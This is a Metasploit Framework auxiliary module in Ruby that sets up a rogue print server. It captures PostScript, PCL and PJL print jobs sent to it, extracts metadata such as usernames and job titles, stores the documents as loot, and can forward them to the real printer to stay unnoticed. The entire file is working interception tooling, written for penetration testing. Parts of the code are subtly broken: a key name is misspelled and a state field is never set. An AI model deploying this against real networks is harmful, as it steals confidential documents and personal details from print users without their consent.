metasploit-framework/modules/auxiliary/server/capture/printjob_capture.rb

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

    include Msf::Exploit::Remote::TcpServer
    include Msf::Exploit::Remote::Tcp
    include Msf::Auxiliary::Report

    def initialize
        super(
            'Name'        => 'Printjob Capture Service',
            'Version'     => '$Revision$',
            'Description' => %q{
                This module is designed to listen for PJL or PostScript print
                jobs. Once a print job is detected it is saved to loot. The
                captured printjob can then be forwarded on to another printer
                (required for LPR/IPP printjobs). Resulting PCL/PS files can be
                read with GhostScript/GhostPCL
            },
            'Author'      =>     'Chris John Riley',
            'License'     =>     MSF_LICENSE,
            'References'    =>
                [
                    # Based on previous prn-2-me tool (Python)
                    ['URL', 'http://blog.c22.cc/toolsscripts/prn-2-me/'],
                    # Readers for resulting PCL/PC
                    ['URL', 'http://www.ghostscript.com']
                ],
            'Actions'     =>
                [
                    [ 'Capture' ]
                ],
            'PassiveActions' =>
                [
                'Capture'
                ],
            'DefaultAction'  => 'Capture'
        )

        register_options([
            OptPort.new('SRVPORT',      [ true, 'The local port to listen on', 9100 ]),
            OptBool.new('FORWARD',      [ true, 'Forward print jobs to another host', false ]),
            OptPort.new('RPORT',        [ false, 'Forward to remote port', 9100 ]),
            OptAddress.new('RHOST',     [ false, 'Forward to remote host' ]),
            OptBool.new('METADATA',     [ true, 'Display Metadata from printjobs', true ]),
            OptEnum.new('MODE',         [ true,  'Print mode', 'RAW', ['RAW', 'LPR', 'IPP']])

        ], self.class)

        deregister_options('SSL', 'SSLVersion', 'SSLCert')

    end

    def setup
        super
        @state = {}

        begin

            @srvhost = datastore['SRVHOST']
            @srvport = datastore['SRVPORT'] || 9100
            @mode = datastore['MODE'].upcase || 'RAW'
            print_status("Starting Print Server on %s:%s - %s mode" \
                % [@srvhost,  @srvport, @mode])

            if datastore['FORWARD']
                @forward = datastore['FORWARD']
                @rport = datastore['RPORT'] || 9100
                if not datastore['RHOST'].nil?
                    @rhost = datastore['RHOST']
                    print_status("Forwarding all printjobs to #{@rhost}:#{@rport}")
                else
                    raise ArgumentError, "Cannot forward without a valid RHOST"
                end
            end
            if not @mode == 'RAW' and not @forward
                raise ArgumentError, "Cannot intercept LPR/IPP without a forwarding target"
            end
            @metadata = datastore['METADATA']

            exploit()

        rescue  =>  ex
            print_error(ex.message)
        end
    end

    def on_client_connect(c)
        @state[c] = {
                    :name => "#{c.peerhost}:#{c.peerport}",
                    :ip => c.peerhost,
                    :port => c.peerport,
                    :user => nil,
                    :pass => nil,
                    :data => '',
                    :raw_data => '',
                    :prn_title => '',
                    :prn_type => '',
                    :prn_metadata => {},
                    :meta_output => []
                    }

        print_status("#{name}: Client connection from #{c.peerhost}:#{c.peerport}")
    end

    def on_client_data(c)
        curr_data = c.get_once
        @state[c][:data] << curr_data
        if @mode == 'RAW'
            # RAW Mode - no further actions
        elsif @mode == 'LPR' or @mode == 'IPP'
            response = stream_data(curr_data)
            c.put(response)
        end

        if (Rex::Text.to_hex(curr_data.first)) == '\x02' and \
            (Rex::Text.to_hex(curr_data.last)) == '\x0a'
            print_status("LPR Jobcmd \"%s\" received" % curr_data[1..-2])
        end

        return if not @state[c][:data]
    end

    def on_client_close(c)
        print_status("#{name}: Client #{c.peerhost}:#{c.peerport} closed connection after %d bytes of data" \
            % @state[c][:data].length)
        sock.close if sock

        # forward RAW data as it's not streamed
        if @forward and @mode == 'RAW'
            forward_data(@state[c][:data])
        end

        #extract print data and Metadata from @state[c][:data]
        begin
            # postscript data
            if @state[c][:data] =~ /%!PS-Adobe/i
                @state[c][:prn_type] = "PS"
                print_good("Printjob intercepted - type PostScript")
                # extract PostScript data including header and EOF marker
                @state[c][:raw_data] = @state[c][:data].match(/%!PS-Adobe.*%%EOF/im)[0]
            # pcl data (capture PCL or PJL start code)
            elsif @state[c][:data].unpack("H*")[0] =~ /(1b45|1b25|1b26)/
                @state[c][:prn_type] = "PCL"
                print_good("Printjob intercepted - type PCL")
                #extract everything between PCL start and end markers (various)
                @state[c][:raw_data] = Array(@state[c][:data].unpack("H*")[0]
                    .match(/((1b45|1b25|1b26).*(1b45|1b252d313233343558))/i)[0]) \
                    .pack("H*")
            end

            # extract Postsript Metadata
            metadata_ps(c) if @state[c][:data] =~ /^%%/i

            # extract PJL Metadata
            metadata_pjl(c) if @state[c][:data] =~ /@PJL/i

            # extract IPP Metdata
            metadata_ipp(c) if @state[c][:data] =~ /POST \/ipp/i or \
                @state[c][:data] =~ /application\/ipp/i

            if not @state[c][:prn_type]
                print_error("Unable to detect printjob type, dumping complete output")
                @state[c][:prn_type] = "Unknown Type"
                @state[c][:raw_data] = @state[c][:data]
            end

            # output discovered Metadata if set
            if @state[c][:meta_output] and @metadata
                @state[c][:meta_output].sort.each do | out |
                    # print metadata if not empty
                    print_status("#{out}") if not out.empty?
                end
            else
                print_status("No metadata gathered from printjob")
            end

            # set name to unknown if not discovered via Metadata
            @state[c][:prn_title] = 'Unnamed' if not @state[c][:prn_title]

            #store loot
            storefile(c) if not @state[c][:raw_data].empty?

            # clear state
            @state.delete(c)

        rescue  =>  ex
            print_error(ex.message)
        end
    end

    def metadata_pjl(c)
        # extract PJL Metadata

        @state[c][:prn_metadata] = @state[c][:data].scan(/^@PJL\s(JOB=|SET\s|COMMENT\s)(.*)$/i)
        print_good("Extracting PJL Metadata")
        @state[c][:prn_metadata].each do | meta |
            if meta[0] =~ /^COMMENT/i
                @state[c][:meta_output] << meta[0].to_s + meta[1].to_s
            end
            if meta[1] =~ /^NAME|^STRINGCODESET|^RESOLUTION|^USERNAME|^JOBNAME|^JOBATTR/i
                @state[c][:meta_output] << meta[1].to_s
            end
            if meta[1] =~ /^NAME/i
                @state[c][:prn_title] = meta[1].strip
            elsif meta[1] =~/^JOBNAME/i
                @state[c][:prn_title] = meta[1].strip
            end
        end
    end

    def metadata_ps(c)
        # extract Postsript Metadata

        @state[c][:prn_metadata] = @state[c][:data].scan(/^%%(.*)$/i)
        print_good("Extracting PostScript Metadata")
        @state[c][:prn_metadata].each do | meta |
            if meta[0] =~ /^Title|^Creat(or|ionDate)|^For|^Target|^Language/i
                @state[c][:meta_output] << meta[0].to_s
            end
            if meta[0] =~ /^Title/i
                @state[c][:prn_title] = meta[0].strip
            end
        end
    end

    def metadata_ipp(c)
        # extract IPP Metadata

        @state[c][:prn_metadata] = @state[c][:data]
        print_good("Extracting IPP Metadata")
        case @state[c][:prn_metadata]
        when /User-Agent:/i
            @state[c][:meta_output] << @state[c][:prn_metdata].scan(/^User-Agent:.*&/i)
        when /Server:/i
            @state[c][:meta_output] << @state[c][:prn_metdata].scan(/^Server:.*&/i)
        when /printer-uri..ipp:\/\/.*\/ipp\//i
            @state[c][:meta_output] << @state[c][:prn_metdata].scan(/printer-uri..ipp:\/\/.*\/ipp\//i)
        when /requesting-user-name..\w+/i
            @state[c][:meta_output] << @state[c][:prn_metadata].scan(/requesting-user-name..\w+/i)
        end
    end

    def forward_data(data_to_send)
        print_status("Forwarding PrintJob on to #{@rhost}:#{@rport}")
        connect
        sock.put(data_to_send)
        sock.close
    end

    def stream_data(data_to_send)
        vprint_status("Streaming %d bytes of data to #{@rhost}:#{@rport}" \
            % data_to_send.length)
        connect if not sock
        sock.put(data_to_send)
        response = sock.get_once
        return response
    end

    def storefile(c)
        # store the file

        if @state[c][:raw_data]
            jobname = File.basename(@state[c][:prn_title].gsub("\\","/"), ".*")
            filename = "#{jobname}.#{@state[c][:prn_type]}"
            loot = store_loot(
                    "prn_snarf.#{@state[c][:prn_type].downcase}",
                    "#{@state[c][:prn_type]} printjob",
                    @state[c][:peerhost],
                    @state[c][:raw_data],
                    filename,
                    "PrintJob capture"
                    )
            print_good("Incoming printjob - %s saved to loot" % @state[c][:prn_title])
            print_good("Loot filename: %s" % loot)
        end
    end
end